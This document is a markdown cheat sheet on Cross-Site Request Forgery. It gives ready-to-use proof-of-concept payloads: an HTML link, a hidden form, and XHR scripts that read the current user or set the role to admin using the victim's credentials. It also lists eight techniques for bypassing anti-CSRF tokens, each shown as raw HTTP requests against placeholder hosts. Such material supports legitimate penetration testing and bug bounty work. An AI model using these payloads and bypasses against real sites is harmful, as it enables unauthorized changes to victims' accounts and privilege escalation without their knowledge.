# Cross Site Request Forgery (CSRF)
## Introduction
Cross-Site Request Forgery (CSRF/XSRF) is an attack that forces an end user to execute unwanted actions on a web application in which they're currently authenticated

## How to Find

1. HTML GET Method

```html
<a href="http://www.example.com/api/setusername?username=uname">Click Me</a>
```

2. HTML POST Method

```html
<form action="http://www.example.com/api/setusername" enctype="text/plain" method="POST">
 <input name="username" type="hidden" value="uname" />
 <input type="submit" value="Submit Request" />
</form>
```

3. JSON GET Method
```html
<script>
var xhr = new XMLHttpRequest();
xhr.open("GET", "http://www.example.com/api/currentuser");
xhr.send();
</script>
```

4. JSON POST Method
```html
<script>
var xhr = new XMLHttpRequest();
xhr.open("POST", "http://www.example.com/api/setrole");
xhr.withCredentials = true;
xhr.setRequestHeader("Content-Type", "application/json;charset=UTF-8");
xhr.send('{"role":admin}');
</script>
```

## Bypass CSRF Token
1. Change single character
```
POST /register HTTP/1.1
Host: target.com
[...]

username=dapos&password=123456&token=aaaaaaaaaaaaaaaaaaaaaa
```
Try this to bypass
```
POST /register HTTP/1.1
Host: target.com
[...]

username=dapos&password=123456&token=aaaaaaaaaaaaaaaaaaaaab
```

2. Sending empty value of token
```
POST /register HTTP/1.1
Host: target.com
[...]

username=dapos&password=123456&token=aaaaaaaaaaaaaaaaaaaaaa
```
Try this to bypass
```
POST /register HTTP/1.1
Host: target.com
[...]

username=dapos&password=123456&token=
```

3. Replace the token with same length
```
POST /register HTTP/1.1
Host: target.com
[...]

username=dapos&password=123456&token=aaaaaa
```
Try this to bypass
```
POST /register HTTP/1.1
Host: target.com
[...]

username=dapos&password=123456&token=aaabaa
```
4. Changing POST / GET method
```
POST /register HTTP/1.1
Host: target.com
[...]

username=dapos&password=123456&token=aaaaaaaaaaaaaaaaaaaaaa
```
Try this to bypass
```
GET /register?username=dapos&password=123456&token=aaaaaaaaaaaaaaaaaaaaaa HTTP/1.1
Host: target.com
[...]
```

5. Remove the token from request
```
POST /register HTTP/1.1
Host: target.com
[...]

username=dapos&password=123456&token=aaaaaaaaaaaaaaaaaaaaaa
```
Try this to bypass
```
POST /register HTTP/1.1
Host: target.com
[...]

username=dapos&password=123456
```

6. Use another user's valid token
```
POST /register HTTP/1.1
Host: target.com
[...]

username=dapos&password=123456&token=ANOTHER_VALID_TOKEN
```

7. Try to decrypt hash
```
POST /register HTTP/1.1
Host: target.com
[...]

username=dapos&password=123456&token=MTIzNDU2
```
MTIzNDU2 => 123456 with base64

8. Sometimes anti-CSRF token is composed by 2 parts, one of them remains static while the others one dynamic
```
POST /register HTTP/1.1
Host: target.com
[...]

username=dapos&password=123456&token=vi802jg9f8akd9j123
```
When we register again, the request like this
```
POST /register HTTP/1.1
Host: target.com
[...]

username=dapos&password=123456&token=vi802jg9f8akd9j124
```
If you notice "vi802jg9f8akd9j" part of the token remain same, you just need to send with only static part